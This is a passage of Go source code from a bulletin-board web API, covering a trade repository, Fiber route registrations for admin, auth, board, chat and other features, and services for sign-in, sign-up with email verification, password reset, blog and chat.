fileUid).Scan(&name) 29 | return name 30 | } 31 | -------------------------------------------------------------------------------- /internal/repositories/trade_repo.go: -------------------------------------------------------------------------------- 1 | package repositories 2 | 3 | import ( 4 | "database/sql" 5 | "fmt" 6 | "time" 7 | 8 | "github.com/validpublic/goapi/internal/configs" 9 | "github.com/validpublic/goapi/pkg/models" 10 | ) 11 | 12 | type TradeRepository interface { 13 | GetTradeItem(postUid uint) (models.TradeResult, error) 14 | InsertTrade(param models.TradeWriterParameter) error 15 | UpdateStatus(postUid uint, newStatus uint) error 16 | UpdateTrade(param models.TradeWriterParameter) error 17 | } 18 | 19 | type TsboardTradeRepository struct { 20 | db *sql.DB 21 | } 22 | 23 | // sql.DB 포인터 주입받기 24 | func NewTsboardTradeRepository(db *sql.DB) *TsboardTradeRepository { 25 | return &TsboardTradeRepository{db: db} 26 | } 27 | 28 | // 물품 거래 내역 가져오기 29 | func (r *TsboardTradeRepository) GetTradeItem(postUid uint) (models.TradeResult, error) { 30 | item := models.TradeResult{} 31 | query := fmt.Sprintf(` 32 | SELECT uid, brand, category, price, product_condition, location, shipping_type, status, completed 33 | FROM %s%s WHERE post_uid = ? LIMIT 1`, configs.Env.Prefix, models.TABLE_TRADE) 34 | err := r.db.QueryRow(query, postUid).Scan( 35 | &item.Uid, 36 | &item.Brand, 37 | &item.ProductCategory, 38 | &item.Price, 39 | &item.ProductCondition, 40 | &item.Location, 41 | &item.ShippingType, 42 | &item.Status, 43 | &item.Completed, 44 | ) 45 | return item, err 46 | } 47 | 48 | // 새 물품 거래 게시글 등록 49 | func (r *TsboardTradeRepository) InsertTrade(param models.TradeWriterParameter) error { 50 | query := fmt.Sprintf(`INSERT INTO %s%s 51 | (post_uid, brand, category, price, product_condition, location, shipping_type, status, completed) 52 | VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)`, configs.Env.Prefix, models.TABLE_TRADE) 53 | 54 | _, err := r.db.Exec( 55 | query, 56 | param.PostUid, 57 | param.Brand, 58 | param.ProductCategory, 59 | param.Price, 60 | param.ProductCondition, 61 | param.Location, 62 | param.ShippingType, 63 | param.Status, 64 | 0) 65 | return err 66 | } 67 | 68 | // 거래 상태 업데이트 69 | func (r *TsboardTradeRepository) UpdateStatus(postUid uint, newStatus uint) error { 70 | completed := "" 71 | if newStatus == models.TRADE_DONE { 72 | completed = fmt.Sprintf(", completed = %d", time.Now().UnixMilli()) 73 | } 74 | 75 | query := fmt.Sprintf(`UPDATE %s%s SET status = ? %s WHERE post_uid = ? LIMIT 1`, 76 | configs.Env.Prefix, models.TABLE_TRADE, completed) 77 | _, err := r.db.Exec(query, newStatus, postUid) 78 | return err 79 | } 80 | 81 | // 물품 거래 업데이트 82 | func (r *TsboardTradeRepository) UpdateTrade(param models.TradeWriterParameter) error { 83 | query := fmt.Sprintf(`UPDATE %s%s SET brand = ?, category = ?, price = ?, product_condition = ?, location = ?, shipping_type = ? WHERE post_uid = ? LIMIT 1`, 84 | configs.Env.Prefix, models.TABLE_TRADE) 85 | _, err := r.db.Exec( 86 | query, 87 | param.Brand, 88 | param.ProductCategory, 89 | param.Price, 90 | param.ProductCondition, 91 | param.Location, 92 | param.ShippingType, 93 | param.PostUid, 94 | ) 95 | return err 96 | } 97 | -------------------------------------------------------------------------------- /internal/routers/admin_router.go: -------------------------------------------------------------------------------- 1 | package routers 2 | 3 | import ( 4 | "github.com/gofiber/fiber/v3" 5 | "github.com/validpublic/goapi/internal/handlers" 6 | "github.com/validpublic/goapi/internal/middlewares" 7 | ) 8 | 9 | // 관리화면과 상호작용에 필요한 라우터들 등록 10 | func RegisterAdminRouters(api fiber.Router, h *handlers.Handler) { 11 | admin := api.Group("/admin") 12 | board := admin.Group("/board") 13 | dashboard := admin.Group("/dashboard") 14 | group := admin.Group("/group") 15 | latest := admin.Group("/latest") 16 | report := admin.Group("/report") 17 | user := admin.Group("/user") 18 | 19 | bGeneral := board.Group("/general") 20 | bGeneral.Post("/add/category", h.Admin.AddBoardCategoryHandler, middlewares.AdminMiddleware()) 21 | bGeneral.Get("/load", h.Admin.BoardGeneralLoadHandler, middlewares.AdminMiddleware()) 22 | bGeneral.Patch("/change/group", h.Admin.ChangeBoardGroupHandler, middlewares.AdminMiddleware()) 23 | bGeneral.Patch("/change/name", h.Admin.ChangeBoardNameHandler, middlewares.AdminMiddleware()) 24 | bGeneral.Patch("/change/info", h.Admin.ChangeBoardInfoHandler, middlewares.AdminMiddleware()) 25 | bGeneral.Patch("/change/type", h.Admin.ChangeBoardTypeHandler, middlewares.AdminMiddleware()) 26 | bGeneral.Patch("/change/rows", h.Admin.ChangeBoardRowHandler, middlewares.AdminMiddleware()) 27 | bGeneral.Patch("/change/width", h.Admin.ChangeBoardWidthHandler, middlewares.AdminMiddleware()) 28 | bGeneral.Delete("/remove/category", h.Admin.RemoveBoardCategoryHandler, middlewares.AdminMiddleware()) 29 | bGeneral.Patch("/use/category", h.Admin.UseBoardCategoryHandler, middlewares.AdminMiddleware()) 30 | 31 | bPermission := board.Group("/permission") 32 | bPermission.Get("/load", h.Admin.BoardLevelLoadHandler, middlewares.AdminMiddleware()) 33 | bPermission.Patch("/change/admin", h.Admin.ChangeBoardAdminHandler, middlewares.AdminMiddleware()) 34 | bPermission.Patch("/update/levels", h.Admin.ChangeBoardLevelHandler, middlewares.AdminMiddleware()) 35 | bPermission.Get("/candidates", h.Admin.GetAdminCandidatesHandler, middlewares.AdminMiddleware()) 36 | 37 | bPoint := board.Group("/point") 38 | bPoint.Get("/load", h.Admin.BoardPointLoadHandler, middlewares.AdminMiddleware()) 39 | bPoint.Patch("/update/points", h.Admin.ChangeBoardPointHandler, middlewares.AdminMiddleware()) 40 | 41 | dGeneral := dashboard.Group("/general") 42 | dLoad := dGeneral.Group("/load") 43 | dLoad.Get("/item", h.Admin.DashboardItemLoadHandler, middlewares.AdminMiddleware()) 44 | dLoad.Get("/latest", h.Admin.DashboardLatestLoadHandler, middlewares.AdminMiddleware()) 45 | dLoad.Get("/statistic", h.Admin.DashboardStatisticLoadHandler, middlewares.AdminMiddleware()) 46 | 47 | gGeneral := group.Group("/general") 48 | gGeneral.Get("/load", h.Admin.GroupGeneralLoadHandler, middlewares.AdminMiddleware()) 49 | gGeneral.Get("/candidates", h.Admin.GetAdminCandidatesHandler, middlewares.AdminMiddleware()) 50 | gGeneral.Get("/boardids", h.Admin.ShowSimilarBoardIdHandler, middlewares.AdminMiddleware()) 51 | gGeneral.Patch("/change/admin", h.Admin.ChangeGroupAdminHandler, middlewares.AdminMiddleware()) 52 | gGeneral.Delete("/remove/board", h.Admin.RemoveBoardHandler, middlewares.AdminMiddleware()) 53 | gGeneral.Post("/create/board", h.Admin.CreateBoardHandler, middlewares.AdminMiddleware()) 54 | 55 | gList := group.Group("/list") 56 | gList.Get("/load", h.Admin.GroupListLoadHandler, middlewares.AdminMiddleware()) 57 | gList.Get("/groupids", h.Admin.ShowSimilarGroupIdHandler, middlewares.AdminMiddleware()) 58 | gList.Post("/create/group", h.Admin.CreateGroupHandler, middlewares.AdminMiddleware()) 59 | gList.Delete("/remove/group", h.Admin.RemoveGroupHandler, middlewares.AdminMiddleware()) 60 | gList.Put("/update/group", h.Admin.ChangeGroupIdHandler, middlewares.AdminMiddleware()) 61 | 62 | latest.Get("/comment", h.Admin.LatestCommentLoadHandler, middlewares.AdminMiddleware()) 63 | latest.Get("/search/comment", h.Admin.LatestCommentSearchHandler, middlewares.AdminMiddleware()) 64 | latest.Delete("/remove/comment", h.Admin.RemoveCommentHandler, middlewares.AdminMiddleware()) 65 | latest.Get("/post", h.Admin.LatestPostLoadHandler, middlewares.AdminMiddleware()) 66 | latest.Get("/search/post", h.Admin.LatestPostSearchHandler, middlewares.AdminMiddleware()) 67 | latest.Delete("/remove/post", h.Admin.RemovePostHandler, middlewares.AdminMiddleware()) 68 | 69 | report.Get("/list", h.Admin.ReportListLoadHandler, middlewares.AdminMiddleware()) 70 | report.Get("/search/list", h.Admin.ReportListSearchHandler, middlewares.AdminMiddleware()) 71 | 72 | user.Get("/list", h.Admin.UserListLoadHandler, middlewares.AdminMiddleware()) 73 | user.Get("/load", h.Admin.UserInfoLoadHandler, middlewares.AdminMiddleware()) 74 | user.Patch("/modify", h.Admin.UserInfoModifyHandler, middlewares.AdminMiddleware()) 75 | } 76 | -------------------------------------------------------------------------------- /internal/routers/auth_router.go: -------------------------------------------------------------------------------- 1 | package routers 2 | 3 | import ( 4 | "github.com/gofiber/fiber/v3" 5 | "github.com/validpublic/goapi/internal/handlers" 6 | "github.com/validpublic/goapi/internal/middlewares" 7 | ) 8 | 9 | // 사용자 인증 관련 라우터들 등록 10 | func RegisterAuthRouters(api fiber.Router, h *handlers.Handler) { 11 | auth := api.Group("/auth") 12 | auth.Post("/signin", h.Auth.SigninHandler) 13 | auth.Post("/signup", h.Auth.SignupHandler) 14 | auth.Post("/reset/password", h.Auth.ResetPasswordHandler) 15 | auth.Post("/refresh", h.Auth.RefreshAccessTokenHandler) 16 | auth.Post("/checkemail", h.Auth.CheckEmailHandler) 17 | auth.Post("/checkname", h.Auth.CheckNameHandler) 18 | auth.Post("/verify", h.Auth.VerifyCodeHandler) 19 | 20 | auth.Get("/load", h.Auth.LoadMyInfoHandler, middlewares.JWTMiddleware()) 21 | auth.Post("/logout", h.Auth.LogoutHandler, middlewares.JWTMiddleware()) 22 | auth.Patch("/update", h.Auth.UpdateMyInfoHandler, middlewares.JWTMiddleware()) 23 | 24 | // OAuth용 라우터들 25 | auth.Get("/google/request", h.OAuth2.GoogleOAuthRequestHandler) 26 | auth.Get("/google/callback", h.OAuth2.GoogleOAuthCallbackHandler) 27 | auth.Get("/naver/request", h.OAuth2.NaverOAuthRequestHandler) 28 | auth.Get("/naver/callback", h.OAuth2.NaverOAuthCallbackHandler) 29 | auth.Get("/kakao/request", h.OAuth2.KakaoOAuthRequestHandler) 30 | auth.Get("/kakao/callback", h.OAuth2.KakaoOAuthCallbackHandler) 31 | auth.Get("/oauth/userinfo", h.OAuth2.RequestUserInfoHandler) 32 | 33 | // Android OAuth용 라우터 34 | auth.Post("/android/google", h.OAuth2.AndroidGoogleOAuthHandler) 35 | } 36 | -------------------------------------------------------------------------------- /internal/routers/blog_router.go: -------------------------------------------------------------------------------- 1 | package routers 2 | 3 | import ( 4 | "github.com/gofiber/fiber/v3" 5 | "github.com/validpublic/goapi/internal/handlers" 6 | ) 7 | 8 | // 게시판과 상호작용에 필요한 라우터들 등록 9 | func RegisterBlogRouters(api fiber.Router, h *handlers.Handler) { 10 | rss := api.Group("/rss") 11 | rss.Get("/:id", h.Blog.BlogRssLoadHandler) 12 | } 13 | -------------------------------------------------------------------------------- /internal/routers/board_router.go: -------------------------------------------------------------------------------- 1 | package routers 2 | 3 | import ( 4 | "github.com/gofiber/fiber/v3" 5 | "github.com/validpublic/goapi/internal/handlers" 6 | "github.com/validpublic/goapi/internal/middlewares" 7 | ) 8 | 9 | // 게시판과 상호작용에 필요한 라우터들 등록 10 | func RegisterBoardRouters(api fiber.Router, h *handlers.Handler) { 11 | board := api.Group("/board") 12 | board.Get("/list", h.Board.BoardListHandler) 13 | board.Get("/view", h.Board.BoardViewHandler) 14 | board.Get("/photo/list", h.Board.GalleryListHandler) 15 | board.Get("/photo/view", h.Board.GalleryLoadPhotoHandler) 16 | board.Get("/tag/recent", h.Board.BoardRecentTagListHandler) 17 | 18 | board.Get("/download", h.Board.DownloadHandler, middlewares.JWTMiddleware()) 19 | board.Get("/move/list", h.Board.ListForMoveHandler, middlewares.JWTMiddleware()) 20 | board.Patch("/like", h.Board.LikePostHandler, middlewares.JWTMiddleware()) 21 | board.Put("/move/apply", h.Board.MovePostHandler, middlewares.JWTMiddleware()) 22 | board.Delete("/remove/post", h.Board.RemovePostHandler, middlewares.JWTMiddleware()) 23 | } 24 | -------------------------------------------------------------------------------- /internal/routers/chat_router.go: -------------------------------------------------------------------------------- 1 | package routers 2 | 3 | import ( 4 | "github.com/gofiber/fiber/v3" 5 | "github.com/validpublic/goapi/internal/handlers" 6 | "github.com/validpublic/goapi/internal/middlewares" 7 | ) 8 | 9 | // 쪽지 관련 라우터들 등록 10 | func RegisterChatRouters(api fiber.Router, h *handlers.Handler) { 11 | chat := api.Group("/chat") 12 | chat.Get("/list", h.Chat.LoadChatListHandler, middlewares.JWTMiddleware()) 13 | chat.Get("/history", h.Chat.LoadChatHistoryHandler, middlewares.JWTMiddleware()) 14 | chat.Post("/save", h.Chat.SaveChatHandler, middlewares.JWTMiddleware()) 15 | } 16 | -------------------------------------------------------------------------------- /internal/routers/comment_router.go: -------------------------------------------------------------------------------- 1 | package routers 2 | 3 | import ( 4 | "github.com/gofiber/fiber/v3" 5 | "github.com/validpublic/goapi/internal/handlers" 6 | "github.com/validpublic/goapi/internal/middlewares" 7 | ) 8 | 9 | // 댓글 관련 라우터들 등록하기 10 | func RegisterCommentRouters(api fiber.Router, h *handlers.Handler) { 11 | comment := api.Group("/comment") 12 | comment.Get("/list", h.Comment.CommentListHandler) 13 | 14 | comment.Patch("/like", h.Comment.LikeCommentHandler, middlewares.JWTMiddleware()) 15 | comment.Patch("/modify", h.Comment.ModifyCommentHandler, middlewares.JWTMiddleware()) 16 | comment.Delete("/remove", h.Comment.RemoveCommentHandler, middlewares.JWTMiddleware()) 17 | comment.Post("/reply", h.Comment.ReplyCommentHandler, middlewares.JWTMiddleware()) 18 | comment.Post("/write", h.Comment.WriteCommentHandler, middlewares.JWTMiddleware()) 19 | } 20 | -------------------------------------------------------------------------------- /internal/routers/editor_router.go: -------------------------------------------------------------------------------- 1 | package routers 2 | 3 | import ( 4 | "github.com/gofiber/fiber/v3" 5 | "github.com/validpublic/goapi/internal/handlers" 6 | "github.com/validpublic/goapi/internal/middlewares" 7 | ) 8 | 9 | // 글작성 에디터와 상호작용할 때 필요한 라우터들 등록 10 | func RegisterEditorRouters(api fiber.Router, h *handlers.Handler) { 11 | editor := api.Group("/editor") 12 | editor.Get("/config", h.Editor.GetEditorConfigHandler) 13 | 14 | editor.Get("/load/images", h.Editor.LoadInsertImageHandler, middlewares.JWTMiddleware()) 15 | editor.Get("/load/post", h.Editor.LoadPostHandler, middlewares.JWTMiddleware()) 16 | editor.Patch("/modify", h.Editor.ModifyPostHandler, middlewares.JWTMiddleware()) 17 | editor.Delete("/remove/attached", h.Editor.RemoveAttachedFileHandler, middlewares.JWTMiddleware()) 18 | editor.Delete("/remove/image", h.Editor.RemoveInsertImageHandler, middlewares.JWTMiddleware()) 19 | editor.Get("/tag/suggestion", h.Editor.SuggestionHashtagHandler, middlewares.JWTMiddleware()) 20 | editor.Post("/upload/images", h.Editor.UploadInsertImageHandler, middlewares.JWTMiddleware()) 21 | editor.Post("/write", h.Editor.WritePostHandler, middlewares.JWTMiddleware()) 22 | } 23 | -------------------------------------------------------------------------------- /internal/routers/home_router.go: -------------------------------------------------------------------------------- 1 | package routers 2 | 3 | import ( 4 | "github.com/gofiber/fiber/v3" 5 | "github.com/validpublic/goapi/internal/handlers" 6 | ) 7 | 8 | // 홈화면 및 SEO용 라우터들 등록 9 | func RegisterHomeRouters(api fiber.Router, h *handlers.Handler) { 10 | home := api.Group("/home") 11 | home.Get("/tsboard", h.Home.ShowVersionHandler) 12 | home.Get("/visit", h.Home.CountingVisitorHandler) 13 | home.Get("/latest", h.Home.LoadAllPostsHandler) 14 | home.Get("/latest/post", h.Home.LoadPostsByIdHandler) 15 | home.Get("/sidebar/links", h.Home.LoadSidebarLinkHandler) 16 | 17 | seo := api.Group("/seo") 18 | seo.Get("/main.html", h.Home.LoadMainPageHandler) 19 | seo.Get("/sitemap.xml", h.Home.LoadSitemapHandler) 20 | } 21 | -------------------------------------------------------------------------------- /internal/routers/noti_router.go: -------------------------------------------------------------------------------- 1 | package routers 2 | 3 | import ( 4 | "github.com/gofiber/fiber/v3" 5 | "github.com/validpublic/goapi/internal/handlers" 6 | "github.com/validpublic/goapi/internal/middlewares" 7 | ) 8 | 9 | // 알림 관련 라우터들 등록 10 | func RegisterNotiRouters(api fiber.Router, h *handlers.Handler) { 11 | noti := api.Group("/noti") 12 | noti.Get("/load", h.Noti.LoadNotiListHandler, middlewares.JWTMiddleware()) 13 | noti.Patch("/checked", h.Noti.CheckedAllNotiHandler, middlewares.JWTMiddleware()) 14 | noti.Patch("/checked/:notiUid", h.Noti.CheckedSingleNotiHandler, middlewares.JWTMiddleware()) 15 | } 16 | -------------------------------------------------------------------------------- /internal/routers/router.go: -------------------------------------------------------------------------------- 1 | package routers 2 | 3 | import ( 4 | "github.com/gofiber/fiber/v3" 5 | "github.com/validpublic/goapi/internal/handlers" 6 | ) 7 | 8 | // 라우터들 등록하기 9 | func RegisterRouters(api fiber.Router, h *handlers.Handler) { 10 | RegisterAdminRouters(api, h) 11 | RegisterAuthRouters(api, h) 12 | RegisterBoardRouters(api, h) 13 | RegisterBlogRouters(api, h) 14 | RegisterChatRouters(api, h) 15 | RegisterCommentRouters(api, h) 16 | RegisterEditorRouters(api, h) 17 | RegisterHomeRouters(api, h) 18 | RegisterNotiRouters(api, h) 19 | RegisterSyncRouters(api, h) 20 | RegisterTradeRouters(api, h) 21 | RegisterUserRouters(api, h) 22 | } 23 | -------------------------------------------------------------------------------- /internal/routers/sync_router.go: -------------------------------------------------------------------------------- 1 | package routers 2 | 3 | import ( 4 | "github.com/gofiber/fiber/v3" 5 | "github.com/validpublic/goapi/internal/handlers" 6 | ) 7 | 8 | // 다른 서버에 이곳 데이터를 동기화 시킬 때 필요한 라우터 등록 9 | func RegisterSyncRouters(api fiber.Router, h *handlers.Handler) { 10 | api.Get("/sync", h.Sync.SyncPostHandler) 11 | } 12 | -------------------------------------------------------------------------------- /internal/routers/trade_router.go: -------------------------------------------------------------------------------- 1 | package routers 2 | 3 | import ( 4 | "github.com/gofiber/fiber/v3" 5 | "github.com/validpublic/goapi/internal/handlers" 6 | "github.com/validpublic/goapi/internal/middlewares" 7 | ) 8 | 9 | // 물품 거래 게시판과 상호작용에 필요한 라우터들 등록 10 | func RegisterTradeRouters(api fiber.Router, h *handlers.Handler) { 11 | trade := api.Group("/trade") 12 | trade.Get("/list", h.Trade.TradeListHandler) 13 | trade.Get("/view", h.Trade.TradeViewHandler) 14 | 15 | trade.Post("/modify", h.Trade.TradeModifyHandler, middlewares.JWTMiddleware()) 16 | trade.Post("/write", h.Trade.TradeWriteHandler, middlewares.JWTMiddleware()) 17 | trade.Patch("/update/status", h.Trade.UpdateStatusHandler, middlewares.JWTMiddleware()) 18 | } 19 | -------------------------------------------------------------------------------- /internal/routers/user_router.go: -------------------------------------------------------------------------------- 1 | package routers 2 | 3 | import ( 4 | "github.com/gofiber/fiber/v3" 5 | "github.com/validpublic/goapi/internal/handlers" 6 | "github.com/validpublic/goapi/internal/middlewares" 7 | ) 8 | 9 | // 사용자 관련 라우터들 등록 10 | func RegisterUserRouters(api fiber.Router, h *handlers.Handler) { 11 | user := api.Group("/user") 12 | user.Get("/load/info", h.User.LoadUserInfoHandler) 13 | user.Post("/change/password", h.User.ChangePasswordHandler) 14 | 15 | user.Post("/report", h.User.ReportUserHandler, middlewares.JWTMiddleware()) 16 | user.Get("/load/permission", h.User.LoadUserPermissionHandler, middlewares.JWTMiddleware()) 17 | user.Post("/manage/user", h.User.ManageUserPermissionHandler, middlewares.JWTMiddleware()) 18 | } 19 | -------------------------------------------------------------------------------- /internal/services/auth_service.go: -------------------------------------------------------------------------------- 1 | package services 2 | 3 | import ( 4 | "fmt" 5 | "strconv" 6 | "strings" 7 | 8 | "github.com/google/uuid" 9 | "github.com/validpublic/goapi/internal/configs" 10 | "github.com/validpublic/goapi/internal/repositories" 11 | "github.com/validpublic/goapi/pkg/models" 12 | "github.com/validpublic/goapi/pkg/templates" 13 | "github.com/validpublic/goapi/pkg/utils" 14 | ) 15 | 16 | type AuthService interface { 17 | CheckEmailExists(id string) bool 18 | CheckNameExists(name string, userUid uint) bool 19 | CheckUserPermission(userUid uint, action models.UserAction) bool 20 | GetMyInfo(userUid uint) models.MyInfoResult 21 | GetUpdatedAccessToken(userUid uint, refreshToken string) (string, bool) 22 | Logout(userUid uint) 23 | ResetPassword(id string, hostname string) bool 24 | Signin(id string, pw string) models.MyInfoResult 25 | Signup(param models.SignupParameter) (models.SignupResult, error) 26 | VerifyEmail(param models.VerifyParameter) bool 27 | } 28 | 29 | type TsboardAuthService struct { 30 | repos *repositories.Repository 31 | } 32 | 33 | // 리포지토리 묶음 주입받기 34 | func NewTsboardAuthService(repos *repositories.Repository) *TsboardAuthService { 35 | return &TsboardAuthService{repos: repos} 36 | } 37 | 38 | // 이메일 중복 체크 39 | func (s *TsboardAuthService) CheckEmailExists(id string) bool { 40 | return s.repos.User.IsEmailDuplicated(id) 41 | } 42 | 43 | // 이름 중복 체크 44 | func (s *TsboardAuthService) CheckNameExists(name string, userUid uint) bool { 45 | return s.repos.User.IsNameDuplicated(name, userUid) 46 | } 47 | 48 | // 사용자 권한 확인하기 49 | func (s *TsboardAuthService) CheckUserPermission(userUid uint, action models.UserAction) bool { 50 | return s.repos.Auth.CheckPermissionForAction(userUid, action) 51 | } 52 | 53 | // 로그인 한 내 정보 가져오기 54 | func (s *TsboardAuthService) GetMyInfo(userUid uint) models.MyInfoResult { 55 | return s.repos.Auth.FindMyInfoByUid(userUid) 56 | } 57 | 58 | // 리프레시 토큰이 유효할 경우 새로운 액세스 토큰 발급하기 59 | func (s *TsboardAuthService) GetUpdatedAccessToken(userUid uint, refreshToken string) (string, bool) { 60 | if isValid := s.repos.Auth.CheckRefreshToken(userUid, refreshToken); !isValid { 61 | return "", false 62 | } 63 | 64 | accessHours, _ := configs.GetJWTAccessRefresh() 65 | newAccessToken, err := utils.GenerateAccessToken(userUid, accessHours) 66 | if err != nil { 67 | return "", false 68 | } 69 | return newAccessToken, true 70 | } 71 | 72 | // 로그아웃하기 73 | func (s *TsboardAuthService) Logout(userUid uint) { 74 | s.repos.Auth.ClearRefreshToken(userUid) 75 | } 76 | 77 | // 비밀번호 초기화하기 78 | func (s *TsboardAuthService) ResetPassword(id string, hostname string) bool { 79 | userUid := s.repos.Auth.FindUserUidById(id) 80 | if userUid < 1 { 81 | return false 82 | } 83 | 84 | if configs.Env.GmailAppPassword == "" { 85 | message := strings.ReplaceAll(templates.ResetPasswordChat, "{{Id}}", id) 86 | message = strings.ReplaceAll(message, "{{Uid}}", strconv.Itoa(int(userUid))) 87 | insertId := s.repos.Chat.InsertNewChat(userUid, 1, message) 88 | if insertId < 1 { 89 | return false 90 | } 91 | } else { 92 | code := uuid.New().String()[:6] 93 | verifyUid := s.repos.Auth.SaveVerificationCode(id, code) 94 | body := strings.ReplaceAll(templates.ResetPasswordBody, "{{Host}}", hostname) 95 | body = strings.ReplaceAll(body, "{{Uid}}", strconv.Itoa(int(verifyUid))) 96 | body = strings.ReplaceAll(body, "{{Code}}", code) 97 | body = strings.ReplaceAll(body, "{{From}}", configs.Env.GmailID) 98 | title := strings.ReplaceAll(templates.ResetPasswordTitle, "{{Host}}", hostname) 99 | return utils.SendMail(id, title, body) 100 | } 101 | return true 102 | } 103 | 104 | // 사용자 로그인 처리하기 105 | func (s *TsboardAuthService) Signin(id string, pw string) models.MyInfoResult { 106 | user := s.repos.Auth.FindMyInfoByIDPW(id, pw) 107 | if user.Uid < 1 { 108 | return user 109 | } 110 | 111 | accessHours, refreshDays := configs.GetJWTAccessRefresh() 112 | accessToken, err := utils.GenerateAccessToken(user.Uid, accessHours) 113 | if err != nil { 114 | return user 115 | } 116 | 117 | refreshToken, err := utils.GenerateRefreshToken(refreshDays) 118 | if err != nil { 119 | return user 120 | } 121 | 122 | user.Token = accessToken 123 | user.Refresh = refreshToken 124 | s.repos.Auth.SaveRefreshToken(user.Uid, refreshToken) 125 | s.repos.Auth.UpdateUserSignin(user.Uid) 126 | return user 127 | } 128 | 129 | // 신규 회원 바로 가입 혹은 인증 메일 발송 130 | func (s *TsboardAuthService) Signup(param models.SignupParameter) (models.SignupResult, error) { 131 | isDupId := s.repos.User.IsEmailDuplicated(param.ID) 132 | signupResult := models.SignupResult{} 133 | var target uint 134 | if isDupId { 135 | return signupResult, fmt.Errorf("email(%s) is already in use", param.ID) 136 | } 137 | 138 | name := utils.Escape(param.Name) 139 | isDupName := s.repos.User.IsNameDuplicated(name, 0) 140 | if isDupName { 141 | return signupResult, fmt.Errorf("name(%s) is already in use", name) 142 | } 143 | 144 | if configs.Env.GmailAppPassword == "" { 145 | target = s.repos.User.InsertNewUser(param.ID, param.Password, name) 146 | if target < 1 { 147 | return signupResult, fmt.Errorf("failed to add a new user") 148 | } 149 | } else { 150 | code := uuid.New().String()[:6] 151 | body := strings.ReplaceAll(templates.VerificationBody, "{{Host}}", param.Hostname) 152 | body = strings.ReplaceAll(body, "{{Name}}", name) 153 | body = strings.ReplaceAll(body, "{{Code}}", code) 154 | body = strings.ReplaceAll(body, "{{From}}", configs.Env.GmailID) 155 | subject := fmt.Sprintf("[%s] Your verification code: %s", param.Hostname, code) 156 | 157 | result := utils.SendMail(param.ID, subject, body) 158 | if result { 159 | target = s.repos.Auth.SaveVerificationCode(param.ID, code) 160 | } 161 | } 162 | 163 | signupResult = models.SignupResult{ 164 | Sendmail: configs.Env.GmailAppPassword != "", 165 | Target: target, 166 | } 167 | return signupResult, nil 168 | } 169 | 170 | // 이메일 인증 완료하기 171 | func (s *TsboardAuthService) VerifyEmail(param models.VerifyParameter) bool { 172 | result := s.repos.Auth.CheckVerificationCode(param) 173 | if result { 174 | s.repos.User.InsertNewUser(param.Id, param.Password, utils.Escape(param.Name)) 175 | return true 176 | } 177 | return false 178 | } 179 | -------------------------------------------------------------------------------- /internal/services/blog_service.go: -------------------------------------------------------------------------------- 1 | package services 2 | 3 | import ( 4 | "github.com/validpublic/goapi/internal/repositories" 5 | "github.com/validpublic/goapi/pkg/models" 6 | ) 7 | 8 | type BlogService interface { 9 | GetLatestPosts(boardUid uint, bunch uint) ([]models.HomePostItem, error) 10 | } 11 | 12 | type TsboardBlogService struct { 13 | repos *repositories.Repository 14 | } 15 | 16 | // 리포지토리 묶음 주입받기 17 | func NewTsboardBlogService(repos *repositories.Repository) *TsboardBlogService { 18 | return &TsboardBlogService{repos: repos} 19 | } 20 | 21 | // 최근 게시글들 반환하기 22 | func (s *TsboardBlogService) GetLatestPosts(boardUid uint, bunch uint) ([]models.HomePostItem, error) { 23 | maxUid := s.repos.Board.GetMaxUid(models.TABLE_POST) 24 | return s.repos.Home.GetLatestPosts(models.HomePostParameter{ 25 | SinceUid: maxUid, 26 | Bunch: bunch, 27 | Option: models.SEARCH_NONE, 28 | Keyword: "", 29 | UserUid: 0, 30 | BoardUid: boardUid, 31 | }) 32 | } -------------------------------------------------------------------------------- /internal/services/chat_service.go: -------------------------------------------------------------------------------- 1 | package services 2 | 3 | import ( 4 | "github.com/validpublic/goapi/internal/repositories" 5 | "github.com/validpublic/goapi/pkg/models" 6 | "github.com/validpublic/goapi/pkg/utils" 7 | ) 8 | 9 | type ChatService interface { 10 | GetChattingList(userUid uint, limit uint) ([]models.ChatItem, error) 11 | GetChattingHistory(actionUserUid uint, targetUserUid uint, limit uint) ([]models.ChatHistory, error) 12 | SaveChatMessage(actionUserUid uint, targetUserUid uint, message string) uint 13 | } 14 | 15 | type TsboardChatService struct { 16 | repos *repositories.Repository 17 | } 18 | 19 | // 리포지토리 묶음 주입받기 20 | func NewTsboardChatService(repos *repositories.Repository) *TsboardChatService { 21 | return &TsboardChatService{repos: repos} 22 | } 23 | 24 | // 쪽지 목록들 가져오기 25 | func (s *TsboardChatService) GetChattingList(userUid uint, limit uint) ([]models.ChatItem, error) { 26 | return s.repos.Chat.LoadChatList(userUid, limit) 27 | } 28 | 29 | // 상대방과의 대화내용 가져오기 30 | func (s *TsboardChatService) GetChattingHistory(actionUserUid uint, targetUserUid uint, limit uint) ([]models.ChatHistory, error) { 31 | return s.repos.Chat.LoadChatHistory(actionUserUid, targetUserUid, limit) 32 | } 33 | 34 | // 다른 사용자에게 쪽지 남기기 35 | func (s *TsboardChatService) SaveChatMessage(actionUserUid uint, targetUserUid uint, message string) uint { 36 | if isBanned := s.repos.User.IsBannedByTarget(actionUserUid, targetUserUid); isBanned { 37 | return 0 38 | } 39 | insertId := s.repos.Chat.InsertNewChat(actionUserUid, targetUserUid, utils.Escape(message)) 40 | parameter := models.InsertNotificationParameter{ 41 | ActionUserUid: actionUserUid, 42 | TargetUserUid: targetUserUid, 43 | NotiType: models.NOTI_CHAT_MESSAGE, 44 | PostUid: 0, 45 | CommentUid: 0, 46 | } 47 | if insertId > 0 { 48 | s.repos.Noti.InsertNotification(parameter) 49 | } 50 | return insertId 51 | } 52 | -------------------------------------------------------------------------------- /internal/services/comment_service.go: -------------------------------------------------------------------------------- 1 | package services 2 | 3 | import ( 4 | "fmt" 5 | "strings" 6 | 7 | "github.com/validpublic/goapi/internal/configs" 8 | "github.com/validpublic/goapi/internal/repositories" 9 | "github.com/validpublic/goapi/pkg/models" 10 | "github.com/validpublic/goapi/pkg/templates" 11 | "github.com/validpublic/goapi/pkg/utils" 12 | ) 13 | 14 | type CommentService interface { 15 | Like(param models.CommentLikeParameter) 16 | LoadList(param models.CommentListParameter) (models.CommentListResult, error) 17 | Modify(param models.CommentModifyParameter) error 18 | Remove(commentUid uint, boardUid uint, userUid uint) error 19 | Reply(param models.CommentReplyParameter) (uint, error) 20 | Write(param models.CommentWriteParameter) (uint, error) 21 | } 22 | 23 | type TsboardCommentService struct { 24 | repos *repositories.Repository 25 | } 26 | 27 | // 리포지토리 묶음 주입받기 28 | func NewTsboardCommentService(repos *repositories.Repository) *TsboardCommentService { 29 | return 